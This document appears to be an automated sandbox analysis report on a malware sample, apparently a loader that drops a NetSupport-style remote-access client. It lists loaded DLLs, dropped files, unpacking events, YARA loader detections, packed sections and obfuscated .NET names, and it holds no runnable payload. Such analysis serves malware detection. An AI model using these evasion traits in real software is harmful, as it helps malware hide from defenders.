Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe	Section loaded: cryptsp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

File written: C:\Users\Public\Netstat\client32.ini

Jump to behavior

Source: C:\Users\Public\Netstat\FuturreApp.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3002368 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of yymeftdj is bigger than: 0x100000 < 0x2ab400

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: YIFtngJ.exe, 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmp, YIFtngJ.exe, 00000006.00000000.2443878770.0000000000B90000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: msvcr100.i386.pdb source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3007815130.000000006C041000.00000020.00000001.01000000.00000010.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: FuturreApp.exe, 00000007.00000002.3009876869.000000006F6F2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: YIFtngJ.exe, 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: FuturreApp.exe, 00000007.00000000.2453706303.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp, FuturreApp.exe, 00000007.00000002.2990562991.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: FuturreApp.exe, 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: FuturreApp.exe, 00000007.00000002.3008733860.000000006C105000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: protobuf-net.pdb source: 855fa1aa94.exe, 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.00000000040AD000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, 855fa1aa94.exe, 0000000C.00000002.2700875788.0000000005650000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8e0000.0.unpack :EW;.rsrc:W;.idata :W;yymeftdj:EW;pisbsuaq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yymeftdj:EW;pisbsuaq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.9d0000.0.unpack :EW;.rsrc:W;.idata :W;yymeftdj:EW;pisbsuaq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yymeftdj:EW;pisbsuaq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.9d0000.0.unpack :EW;.rsrc:W;.idata :W;yymeftdj:EW;pisbsuaq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yymeftdj:EW;pisbsuaq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Unpacked PE file: 9.2.81c86993fb.exe.8f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe	Unpacked PE file: 14.2.954af05edd.exe.600000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ctknaohd:EW;tteedpjp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ctknaohd:EW;tteedpjp:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 10.2.855fa1aa94.exe.3d65b98.2.raw.unpack, MainForm.cs	.Net Code: _202B_200C_200F_200D_200D_202A_206D_202C_200B_200E_202B_206E_206B_206B_206E_200B_200F_206E_200E_202E_200F_202A_200D_200B_206C_206B_200F_200B_200C_206A_206A_200F_202E_200C_206E_200F_206C_206D_202D_202B_202E System.Reflection.Assembly.Load(byte[])
Source: 10.2.855fa1aa94.exe.3d45b78.1.raw.unpack, MainForm.cs	.Net Code: _202B_200C_200F_200D_200D_202A_206D_202C_200B_200E_202B_206E_206B_206B_206E_200B_200F_206E_200E_202E_200F_202A_200D_200B_206C_206B_200F_200B_200C_206A_206A_200F_202E_200C_206E_200F_206C_206D_202D_202B_202E System.Reflection.Assembly.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: 12.2.855fa1aa94.exe.55c0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.855fa1aa94.exe.400d790.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2695578636.0000000003203000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2700320615.00000000055C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 855fa1aa94.exe PID: 2116, type: MEMORYSTR

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe

File created: C:\Users\Public\Netstat\__tmp_rar_sfx_access_check_5985500

Jump to behavior

Source: random[1].exe1.5.dr	Static PE information: real checksum: 0x445011 should be: 0x445019
Source: 81c86993fb.exe.5.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: random[2].exe0.5.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2e7152 should be: 0x2e4c52
Source: random[2].exe.5.dr	Static PE information: real checksum: 0x44a4e7 should be: 0x4b1b3
Source: 977f9058dc.exe.5.dr	Static PE information: real checksum: 0x445011 should be: 0x445019
Source: 954af05edd.exe.5.dr	Static PE information: real checksum: 0x447941 should be: 0x43c563
Source: random[1].exe.5.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: 83c3b21a33.exe.5.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: random[1].exe2.5.dr	Static PE information: real checksum: 0x447941 should be: 0x43c563
Source: YIFtngJ.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x20f7bb
Source: 855fa1aa94.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: file.exe	Static PE information: real checksum: 0x2e7152 should be: 0x2e4c52
Source: YIFtngJ[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x20f7bb
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: bb54d38b96.exe.5.dr	Static PE information: real checksum: 0x44a4e7 should be: 0x4b1b3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: yymeftdj
Source: file.exe	Static PE information: section name: pisbsuaq
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: yymeftdj
Source: skotes.exe.0.dr	Static PE information: section name: pisbsuaq
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: uzxdwyvi
Source: random[1].exe.5.dr	Static PE information: section name: efzdldig
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: 81c86993fb.exe.5.dr	Static PE information: section name:
Source: 81c86993fb.exe.5.dr	Static PE information: section name: .idata
Source: 81c86993fb.exe.5.dr	Static PE information: section name:
Source: 81c86993fb.exe.5.dr	Static PE information: section name: uzxdwyvi
Source: 81c86993fb.exe.5.dr	Static PE information: section name: efzdldig
Source: 81c86993fb.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: jjnhjgow
Source: random[1].exe1.5.dr	Static PE information: section name: esuyrufd
Source: random[1].exe1.5.dr	Static PE information: section name: .taggant
Source: 977f9058dc.exe.5.dr	Static PE information: section name:
Source: 977f9058dc.exe.5.dr	Static PE information: section name: .idata
Source: 977f9058dc.exe.5.dr	Static PE information: section name:
Source: 977f9058dc.exe.5.dr	Static PE information: section name: jjnhjgow
Source: 977f9058dc.exe.5.dr	Static PE information: section name: esuyrufd
Source: 977f9058dc.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name: .idata
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name: ctknaohd
Source: random[1].exe2.5.dr	Static PE information: section name: tteedpjp
Source: random[1].exe2.5.dr	Static PE information: section name: .taggant
Source: 954af05edd.exe.5.dr	Static PE information: section name:
Source: 954af05edd.exe.5.dr	Static PE information: section name: .idata
Source: 954af05edd.exe.5.dr	Static PE information: section name:
Source: 954af05edd.exe.5.dr	Static PE information: section name: ctknaohd
Source: 954af05edd.exe.5.dr	Static PE information: section name: tteedpjp
Source: 954af05edd.exe.5.dr	Static PE information: section name: .taggant
Source: random[2].exe0.5.dr	Static PE information: section name: .eh_fram
Source: 83c3b21a33.exe.5.dr	Static PE information: section name: .eh_fram
Source: PCICL32.DLL.6.dr	Static PE information: section name: .hhshare

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008FD91C push ecx; ret	0_2_008FD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F1359 push es; ret	0_2_008F135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009ED91C push ecx; ret	1_2_009ED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009DBA83 push ss; iretd	1_2_009DBA84
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009ED91C push ecx; ret	5_2_009ED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A0DEDB push ss; iretd	5_2_00A0DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009EDFC6 push ecx; ret	5_2_009EDFD9
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7D8B6 push ecx; ret	6_2_00B7D8C9
Source: C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe	Code function: 6_2_00B7CDF0 push eax; ret	6_2_00B7CE0E

Source: file.exe	Static PE information: section name: entropy: 7.987641599443997
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.987641599443997
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe.5.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: 81c86993fb.exe.5.dr	Static PE information: section name: entropy: 7.974324170155358
Source: 81c86993fb.exe.5.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[1].exe0.5.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: 855fa1aa94.exe.5.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: random[1].exe1.5.dr	Static PE information: section name: jjnhjgow entropy: 7.956153256454164
Source: 977f9058dc.exe.5.dr	Static PE information: section name: jjnhjgow entropy: 7.956153256454164
Source: random[1].exe2.5.dr	Static PE information: section name: ctknaohd entropy: 7.955071050221465
Source: 954af05edd.exe.5.dr	Static PE information: section name: ctknaohd entropy: 7.955071050221465
Source: msvcr100.dll.6.dr	Static PE information: section name: .text entropy: 6.909044922675825

Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 10.2.855fa1aa94.exe.e3a0000.4.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
